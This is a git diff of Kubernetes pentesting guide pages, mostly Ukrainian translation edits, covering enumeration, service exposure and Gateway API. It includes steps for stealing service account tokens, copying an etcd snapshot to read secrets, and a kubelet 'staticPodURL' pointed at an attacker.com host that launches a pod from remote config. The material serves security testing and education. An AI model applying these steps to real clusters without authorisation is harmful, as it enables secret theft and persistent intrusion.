/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ - -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ - https://kubernetes.default.svc/api -``` - -If the service account has excessive permissions, this may allow reading secrets, listing pods, or even creating new workloads. - -## Discovering the internal network - -Once inside a pod, you can enumerate the internal network to find interesting targets. Common steps include: - -- Checking DNS resolution -- Scanning internal IP ranges -- Identifying exposed services on common ports -- Looking for metadata services or internal admin panels - -## Mounted secrets - -Secrets are often mounted into pods as files. These may contain: - -- Database passwords -- API keys -- Cloud credentials -- TLS private keys - -Check environment variables and mounted volumes carefully. A compromised pod may expose credentials that can be reused elsewhere. - -## Lateral movement - -If the pod can reach other internal services, the attacker may attempt to: - -- Reuse credentials -- Abuse trust between services -- Exploit misconfigured internal apps -- Access control planes or admin interfaces - -## Mitigations - -To reduce this attack surface: - -- Use least privilege for service accounts -- Disable unnecessary token mounting -- Restrict pod-to-pod network access -- Avoid placing sensitive secrets in pods unless required -- Monitor API access from workloads - -A compromised pod should be treated as a potential foothold into the entire Kubernetes environment. -``` +Щоб атакувати Kubernetes зсередини Pod, ви можете почати з дослідження сервісів, доступних у цьому середовищі, і спробувати знайти способи підвищення привілеїв або доступу до інших ресурсів кластера. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### Зчитати secrets з etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### Зчитати secrets з etcd 2 [звідси](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. Створіть snapshot бази даних **`etcd`**. Перевірте [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) для додаткової інформації. -2. Перенесіть snapshot **`etcd`** з node будь-яким зручним для вас способом. +1. Створіть snapshot бази даних **`etcd`**. Перевірте [**цей script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) для додаткової інформації. +2. Передайте snapshot **`etcd`** з node у будь-який зручний для вас спосіб. 3. Розпакуйте базу даних: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. Запустіть **`etcd`** на вашій локальній машині та змусьте його використовувати вкрадену snapshot: +4. Запустіть **`etcd`** на вашій локальній машині та змусьте його використовувати вкрадений snapshot: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' @@ -375,7 +415,7 @@ In order to create a static pod, the [**docs are a great help**](https://kuberne **Another more stealth way would be to:** -- Modify the param **`staticPodURL`** from **kubelet** config file and set something like **`staticPodURL: http://attacker.com:8765/pod.yaml`**. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**. +- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**. **Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): ```yaml diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index ee6dfd570..eb283c5da 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Існують **різні способи expose services** у Kubernetes, щоб і **internal** endpoints, і **external** endpoints могли до них доступатися. Ця Kubernetes configuration є дуже критичною, оскільки administrator може надати **attackers доступ до services**, до яких вони не повинні мати доступ. +Існують **різні способи expose services** у Kubernetes, щоб до них могли звертатися як **internal** endpoints, так і **external** endpoints. Ця Kubernetes configuration є дуже критичною, оскільки administrator може надати доступ **attackers до services, до яких вони не повинні мати доступу**. ### Automatic Enumeration -Перш ніж починати enumerating способи, які K8s пропонує для expose services у public, майте на увазі: якщо ви можете list namespaces, services and ingresses, ви можете знайти все, що exposed to the public, за допомогою: +Перш ніж починати enumerating способи, які K8s пропонує для exposing services до public, знайте, що якщо ви можете list namespaces, services і ingresses, ви можете знайти все, що exposed to the public, за допомогою: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,17 +20,17 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -**ClusterIP** service — це **default** Kubernetes **service**. Він надає вам **service всередині** вашого cluster, до якого можуть звертатися інші apps всередині вашого cluster. **Зовнішнього доступу** немає. +**ClusterIP** service — це **типовий** Kubernetes **service**. Він надає тобі **service всередині** твого кластеру, до якого можуть звертатися інші apps у твоєму кластері. **Зовнішнього доступу** немає. -Однак до нього можна отримати доступ за допомогою Kubernetes Proxy: +Однак до нього можна отримати доступ через Kubernetes Proxy: ```bash kubectl proxy --port=8080 ``` -Тепер ви можете переходити через Kubernetes API, щоб отримувати доступ до services, використовуючи цю схему: +Тепер ви можете навігувати через Kubernetes API, щоб отримати доступ до services, використовуючи таку схему: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` -Наприклад, ви можете використати таку URL-адресу: +Наприклад, ви можете використати такий URL: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` @@ -50,21 +50,21 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Цей метод вимагає, щоб ви запускали `kubectl` як **authenticated user**._ +_Цей метод вимагає, щоб ви запускали `kubectl` як **автентифікований користувач**._ -Перелічіть усі ClusterIPs: +Список усіх ClusterIPs: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -Коли використовується **NodePort**, на всіх Nodes (що представляють Virtual Machines) відкривається призначений порт. **Traffic**, спрямований на цей конкретний порт, потім систематично **routes to the service**. Зазвичай цей метод не рекомендується через його недоліки. +Коли використовується **NodePort**, на всіх Nodes (що представляють Virtual Machines) відкривається призначений порт. **Traffic**, спрямований на цей конкретний порт, далі систематично **routed to the service**. Зазвичай цей метод не рекомендується через його недоліки. -List all NodePorts: +Показати всі NodePorts: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` -Приклад NodePort specification: +Приклад специфікації NodePort: ```yaml apiVersion: v1 kind: Service @@ -83,16 +83,17 @@ protocol: TCP ``` Якщо ви **не вкажете** **nodePort** у yaml (це порт, який буде відкрито), буде використано порт у **діапазоні 30000–32767**. -Під час аналізу NodePort або LoadBalancer Services також перевіряйте поля traffic-policy, оскільки вони змінюють, які nodes і backends є корисними з певного source: +Під час перевірки NodePort або LoadBalancer Services також переглядайте поля traffic-policy, оскільки вони змінюють, які nodes і backends є корисними з певного source: ```bash kubectl get services --all-namespaces \ -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort' ``` -- `externalTrafficPolicy: Local` зберігає оригінальну IP-адресу client для трафіку NodePort/LoadBalancer і не пересилає його на endpoints на інших nodes. node без local ready endpoint може відкинути трафік, навіть якщо Service має endpoints десь ще. -- `externalTrafficPolicy: Cluster` є default і може пересилати через будь-який node, але backend logs можуть бачити node IPs замість реальної external client IP. -- `internalTrafficPolicy: Local` обмежує in-cluster Service traffic endpoints, локальними для source node. Це locality routing, а не authorization boundary. -- `sessionAffinity: ClientIP` може зробити так, що повторні тести з одного client потраплятимуть у той самий backend, приховуючи інші ready endpoints під час manual checks. -- `trafficDistribution` і EndpointSlice topology hints можуть надавати перевагу same-zone або same-node endpoints на новіших clusters; розглядайте їх як routing preferences, а не як жорстку security policy. +- NodePorts зазвичай exposed на node addresses, але kube-proxy може обмежувати діапазони адрес за допомогою `--nodeport-addresses` або `nodePortAddresses` у своїй configuration. Перевір активну configuration kube-proxy або CNI service-proxy replacement, перш ніж припускати, що NodePort reachable на кожному node IP. +- `externalTrafficPolicy: Local` зберігає оригінальний client source IP для NodePort/LoadBalancer traffic і уникає forwarding до endpoints на інших nodes. Node без local ready endpoint може drop traffic, навіть якщо Service має endpoints elsewhere. +- `externalTrafficPolicy: Cluster` є default і може forward через будь-який node, але backend logs можуть бачити node IPs замість real external client IP. +- `internalTrafficPolicy: Local` обмежує in-cluster Service traffic endpoints, local до source node. Це locality routing, а не authorization boundary. +- `sessionAffinity: ClientIP` може змусити повторні tests від одного client потрапляти на той самий backend, приховуючи інші ready endpoints під час manual checks. +- `trafficDistribution` і EndpointSlice topology hints можуть надавати перевагу same-zone або same-node endpoints на новіших clusters; сприймай їх як routing preferences, а не hard security policy. ### LoadBalancer @@ -107,7 +108,7 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam ### External IPs > [!TIP] -> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used. +> External IPs exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used. > > For finding them, check for load balancers with values in the `EXTERNAL-IP` field. @@ -134,9 +135,9 @@ externalIPs: ``` ### ExternalName -[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter. +[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **зіставляють Service з DNS name**, а не з типовим selector, таким як `my-service` або `cassandra`. Ви задаєте ці Services за допомогою параметра `spec.externalName`. -This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`: +Наприклад, це визначення Service зіставляє Service `my-service` у namespace `prod` з `my.database.example.com`: ```yaml apiVersion: v1 kind: Service @@ -147,32 +148,34 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Під час пошуку хоста `my-service.prod.svc.cluster.local`, DNS Service кластера повертає запис `CNAME` зі значенням `my.database.example.com`. Доступ до `my-service` працює так само, як і до інших Services, але з ключовою відмінністю: **redirection відбувається на рівні DNS**, а не через proxying або forwarding. +Під час пошуку `my-service.prod.svc.cluster.local` кластерний DNS Service повертає запис `CNAME` зі значенням `my.database.example.com`. Доступ до `my-service` працює так само, як і до інших Services, але з важливою відмінністю: **перенаправлення відбувається на рівні DNS**, а не через proxying або forwarding. -Перелічіть усі ExternalNames: +Примітка з security review: якщо Ingress controller, Gateway implementation, service mesh або application приймає ExternalName Service як backend, controller може розв’язати та досягти external name зі своєї власної мережевої позиції. Це може expose internal-only services через public routing infrastructure, коли users можуть створити і route object, і ExternalName Service. Перевірте конкретну реалізацію та версію controller, ExternalName support flags або allowlists, route status і точний target domain, перш ніж вважати це безпечним. Наприклад, Skipper виправив Kubernetes ExternalName SSRF issue у v0.24.0, вимкнувши ExternalName backends за замовчуванням і задокументувавши allowlist option. + +Покажіть усі ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` ### EndpointSlices -EndpointSlices показують конкретні backend-адреси та порти, на які Service наразі маршрутизує трафік. Вони особливо корисні, коли Service не має selector, коли labels не пояснюють шлях traffic, або коли готові лише деякі backends. +EndpointSlices показують конкретні backend-адреси та ports, на які Service наразі маршрутизує трафік. Вони особливо корисні, коли Service не має selector, коли labels не пояснюють шлях traffic, або коли лише деякі backends готові. -Перелічити EndpointSlices, пов’язані з Services: +Список EndpointSlices, пов’язаних із Services: ```bash kubectl get endpointslices --all-namespaces kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml kubectl get endpointslice -n -l kubernetes.io/service-name= \ -o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' ``` -Під час перевірки exposure порівнюйте Service selector з EndpointSlice `targetRef`, адресами endpoints, умовами readiness і ports. Selectorless Service можна поєднати з вручну керованими EndpointSlices і спрямувати traffic на не-Pod або неочікувані destinations. +Під час перевірки exposure порівнюйте Service selector з EndpointSlice `targetRef`, endpoint addresses, readiness conditions і ports. Selectorless Service може бути пов’язаний із EndpointSlices, якими керують вручну, і спрямовувати traffic до не-Pod або неочікуваних destinations. ### Ingress -На відміну від усіх наведених вище прикладів, **Ingress — це НЕ тип service**. Натомість він стоїть **перед кількома services і діє як “smart router”** або entrypoint у ваш cluster. +На відміну від усіх наведених вище прикладів, **Ingress НЕ є типом service**. Натомість він знаходиться **перед multiple services і діє як “smart router”** або entrypoint у ваш cluster. З Ingress можна робити багато різних речей, і існує **багато типів Ingress controllers, які мають різні capabilities**. -Default GKE ingress controller підніме для вас [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Це дозволить вам робити як routing на основі path, так і на основі subdomain до backend services. Наприклад, ви можете направити все на foo.yourdomain.com до service foo, а все під path yourdomain.com/bar/ — до service bar. +Default GKE ingress controller запустить для вас [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Це дасть змогу робити як path based, так і subdomain based routing до backend services. Наприклад, ви можете спрямувати все з foo.yourdomain.com до foo service, а все під шляхом yourdomain.com/bar/ — до bar service. YAML для об’єкта Ingress у GKE з [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) може виглядати так: ```yaml @@ -208,37 +211,46 @@ name: bar port: number: 8080 ``` -Перелічити всі ingress: +Перелічіть усі ingress: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Хоча в цьому випадку краще отримувати інформацію про кожен по одному, щоб читати її зручніше: +Хоча в цьому випадку краще отримати інформацію про кожен по одному, щоб читати її зручніше: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` ### Gateway API -Gateway API — це новіший Kubernetes API для exposing Services. Він розділяє об’єкти Gateway, що належать infrastructure, від Route-об’єктів, що належать application, таких як HTTPRoute. Це корисно для delegation, але також означає, що exposure може бути розділене між namespaces. +Gateway API — це новіший Kubernetes API для exposing Services. Він розділяє об’єкти Gateway, що належать infrastructure, від об’єктів Route, що належать application, таких як HTTPRoute. Це корисно для delegation, але також означає, що exposure може бути розділене між namespaces. List Gateway API exposure objects: ```bash kubectl get gatewayclasses kubectl get gateways --all-namespaces kubectl get httproutes --all-namespaces +kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces +kubectl get referencegrants --all-namespaces +kubectl get backendtlspolicies --all-namespaces kubectl get gateway -n -o yaml kubectl get httproute -n -o yaml ``` -Перевірте Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references і status conditions, такі як те, чи була route accepted. Route, яка accepted спільним Gateway, може expose backend навіть тоді, коли не існує legacy Ingress object. +Перевірте Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames або SNI matches, filters, backend references, і status conditions, такі як `Accepted`, `ResolvedRefs` та `Programmed`. Route, який accepted спільним Gateway, може expose backend навіть тоді, коли не існує legacy Ingress object. + +Не перевіряйте лише HTTPRoute. GRPCRoute, TLSRoute, TCPRoute і UDPRoute можуть expose non-HTTP services, такі як admin ports, brokers, databases, service-mesh gateways або pass-through TLS backends. Також перевірте `ReferenceGrant` objects для cross-namespace backend або certificate references і `BackendTLSPolicy` для TLS identity, яку Gateway використовує під час підключення до backend Services. Backend TLS policy сама по собі не є доказом public reachability, але це корисне evidence, коли programmed Gateway route досягає ready Service зі слабкою, спільною або неправильною backend identity validation. ### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) - [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) - [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/) - [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/) - [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/) - [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) +- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/) +- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/) +- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index a619ba08c..f8a1cd058 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,38 +4,38 @@ ## Kubernetes Tokens -Якщо ви скомпрометували доступ до машини, користувач може мати доступ до певної Kubernetes platform. Token зазвичай знаходиться у файлі, на який вказує **env var `KUBECONFIG`** або **всередині `~/.kube`**. +If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. -У цій теці ви можете знайти config files з **tokens і configurations для підключення до API server**. У цій теці ви також можете знайти cache folder з інформацією, отриманою раніше. +In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved. -Якщо ви скомпрометували pod всередині kubernetes environment, є й інші місця, де можна знайти tokens і інформацію про поточний K8 env: +If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: ### Service Account Tokens -Перш ніж продовжити, якщо ви не знаєте, що таке service у Kubernetes, я б радив вам **follow this link and read at least the information about Kubernetes architecture.** +Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.** -Взято з Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): +Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): _“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** — це object, яким керує Kubernetes і який використовується для надання identity процесам, що працюють у pod.\ -Кожен service account має пов’язаний із ним secret, і цей secret містить bearer token. Це JSON Web Token (JWT), method для безпечного представлення claims між двома сторонами. +**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\ +Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. -Зазвичай **одна** з тек: +Usually **one** of the directories: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` -містить файли: +contain the files: -- **ca.crt**: Це ca certificate для перевірки kubernetes communications -- **namespace**: Вказує поточний namespace -- **token**: Містить **service token** поточного pod. +- **ca.crt**: It's the ca certificate to check kubernetes communications +- **namespace**: It indicates the current namespace +- **token**: It contains the **service token** of the current pod. -Тепер, коли у вас є token, ви можете знайти API server всередині environment variable **`KUBECONFIG`**. Для отримання додаткової інформації запустіть `(env | set) | grep -i "kuber|kube`**`"`** +Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`** -Service account token підписується ключем, що знаходиться у файлі **sa.key**, і валідується через **sa.pub**. +The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**. Default location on **Kubernetes**: @@ -47,36 +47,36 @@ Default location on **Minikube**: ### Hot Pods -_**Hot pods are**_ pods, що містять privileged service account token. Privileged service account token — це token, який має permission виконувати privileged tasks, такі як перелік secrets, створення pods тощо. +_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc. ## RBAC -Якщо ви не знаєте, що таке **RBAC**, **read this section**. +If you don't know what is **RBAC**, **read this section**. ## GUI Applications -- **k9s**: GUI, що enumerates kubernetes cluster з terminal. Перевірте commands у [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Введіть `:namespace` і виберіть all, щоб потім шукати resources в усіх namespaces. -- **k8slens**: Вона пропонує кілька безкоштовних trial days: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces. +- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -Щоб enumerate K8s environment, вам потрібно кілька речей: +In order to enumerate a K8s environment you need a couple of this: -- **valid authentication token**. У попередньому розділі ми бачили, де шукати user token і service account token. -- **address (**_**https://host:port**_**) of the Kubernetes API**. Його зазвичай можна знайти в environment variables та/або у kube config file. -- **Optional**: **ca.crt to verify the API server**. Його можна знайти в тих самих місцях, де можна знайти token. Це корисно для перевірки certificate API server, але використовуючи `--insecure-skip-tls-verify` з `kubectl` або `-k` з `curl`, вам це не знадобиться. +- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token. +- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file. +- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this. -Маючи ці деталі, ви можете **enumerate kubernetes**. Якщо **API** з якоїсь причини **accessible** через **Internet**, ви можете просто завантажити цю інформацію та enumerate platform зі своєї host. +With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host. -Однак зазвичай **API server знаходиться у внутрішній network**, тому вам потрібно буде **create a tunnel** через скомпрометовану машину, щоб отримати доступ до нього зі своєї машини, або ви можете **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, або використати **`curl/wget/anything`** для виконання raw HTTP requests до API server. +However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server. ### Differences between `list` and `get` verbs -З **`get`** permissions ви можете отримати інформацію про конкретні assets (_`describe` option in `kubectl`_) API: +With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Якщо у вас є permission **`list`**, вам дозволено виконувати API requests для переліку типу asset (_`get` option in `kubectl`_): +Якщо у вас є permission **`list`**, вам дозволено виконувати API requests для отримання списку типу asset (_`get` option in `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments @@ -91,10 +91,10 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Вони відкривають streaming connection, що повертає вам повний manifest Deployment щоразу, коли він змінюється (або коли створюється новий). +Вони відкривають streaming connection, яка повертає вам повний manifest Deployment щоразу, коли він змінюється (або коли створюється новий). > [!CAUTION] -> Наведені далі команди `kubectl` лише показують, як list об'єкти. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати `describe` замість `get` +> Наведені нижче команди `kubectl` показують лише, як list objects. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати `describe` замість `get` ### Using curl @@ -109,19 +109,19 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> За замовчуванням pod може **отримати доступ** до **kube-api server** у доменному імені **`kubernetes.default.svc`**, і ви можете побачити kube network у **`/etc/resolv.config`**, оскільки тут ви знайдете адресу kubernetes DNS server (".1" того ж діапазону — це kube-api endpoint). +> За замовчуванням pod може **access** **kube-api server** у domain name **`kubernetes.default.svc`**, і ви можете побачити kube network у **`/etc/resolv.config`**, адже там ви знайдете адресу kubernetes DNS server (".1" того ж діапазону — це kube-api endpoint). -### Використання kubectl +### Using kubectl -Маючи token і адресу API server, ви можете використовувати kubectl або curl для доступу до нього, як зазначено тут: +Маючи token і адресу API server, ви використовуєте kubectl або curl, щоб access його, як вказано тут: -За замовчуванням, APISERVER communicate з `https://` schema +By default, The APISERVER is communicating with `https://` schema ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> якщо в url немає `https://`, ви можете отримати Error типу Bad Request. +> якщо в url немає `https://`, ви можете отримати Error на кшталт Bad Request. -Ви можете знайти [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Мета наступних розділів — у впорядкованому вигляді показати різні варіанти для enumerate та зрозуміти новий K8s, до якого ви отримали доступ. +Ви можете знайти [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Мета наступних розділів — у впорядкованому вигляді представити різні варіанти для enumerate та кращого розуміння нового K8s, до якого ви отримали доступ. Щоб знайти HTTP request, який надсилає `kubectl`, ви можете використати параметр `-v=8` @@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \ ``` ### Отримати підтримувані ресурси -З цією інформацією ви знатимете всі сервіси, які можна перелічити +З цією інформацією ви знатимете всі сервіси, які можете перелічити {{#tabs }} {{#tab name="kubectl" }} @@ -182,12 +182,38 @@ kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` -- `metadata.uid`, `name`, `namespace`, `apiVersion` і `kind` ідентифікують точний об’єкт і допомагають уникнути плутанини між об’єктами з однаковою назвою в різних namespaces або API groups. -- `metadata.labels` і selectors з’єднують Services, Deployments, ReplicaSets, Pods, NetworkPolicies та automation. Відстеження selectors часто є найшвидшим способом визначити реальні backend pods для Service. -- `metadata.annotations` можуть витікати operational context, наприклад ingress behavior, cloud load balancer settings, GitOps або Helm metadata, policy exemptions і service mesh configuration. Вони не повинні містити secrets, але реальні clusters часто розкривають там корисні підказки. -- `metadata.ownerReferences` показує controller lineage. Якщо Pod належить ReplicaSet, який належить Deployment, зміна або видалення лише Pod зазвичай не усуває джерело. -- `metadata.finalizers` і `metadata.deletionTimestamp` пояснюють resources, що застрягли під час deletion, і можуть reveal cleanup controllers або persistence/disruption tricks. -- `status`, Events і conditions можуть reveal node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials і controller progress. Це корисні clues, але audit logs усе ще потрібні, щоб довести, хто виконав дію. +- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` ідентифікують точний object і допомагають уникнути плутанини між objects з однаковою назвою в різних namespaces або API groups. +- `metadata.labels` і selectors пов’язують Services, Deployments, ReplicaSets, Pods, NetworkPolicies та automation. Відстеження selectors часто є найшвидшим способом знайти реальні backend pods для Service. +- `metadata.annotations` можуть leak операційний контекст, наприклад поведінку ingress, налаштування cloud load balancer, GitOps або Helm metadata, policy exemptions та конфігурацію service mesh. Вони не повинні містити secrets, але реальні clusters часто розкривають там корисні підказки. +- `metadata.ownerReferences` показує controller lineage. Якщо Pod належить ReplicaSet, а той належить Deployment, зміна або видалення лише Pod зазвичай не усуває джерело. +- `metadata.finalizers` і `metadata.deletionTimestamp` пояснюють resources, що застрягли під час видалення, і можуть виявити cleanup controllers або tricks для persistence/disruption. +- `status`, Events і conditions можуть розкривати node placement, pod IPs, image IDs, повідомлення про помилки, проблеми scheduling, admission denials і прогрес controller. Це корисні підказки, але audit logs усе ще потрібні, щоб довести, хто виконав action. + +### Dynamic Resource Allocation and device evidence + +Якщо cluster використовує GPUs, NICs, FPGAs або інше спеціалізоване hardware, перевірте, чи присутній Kubernetes Dynamic Resource Allocation (DRA). DRA використовує об’єкти `resource.k8s.io`, такі як 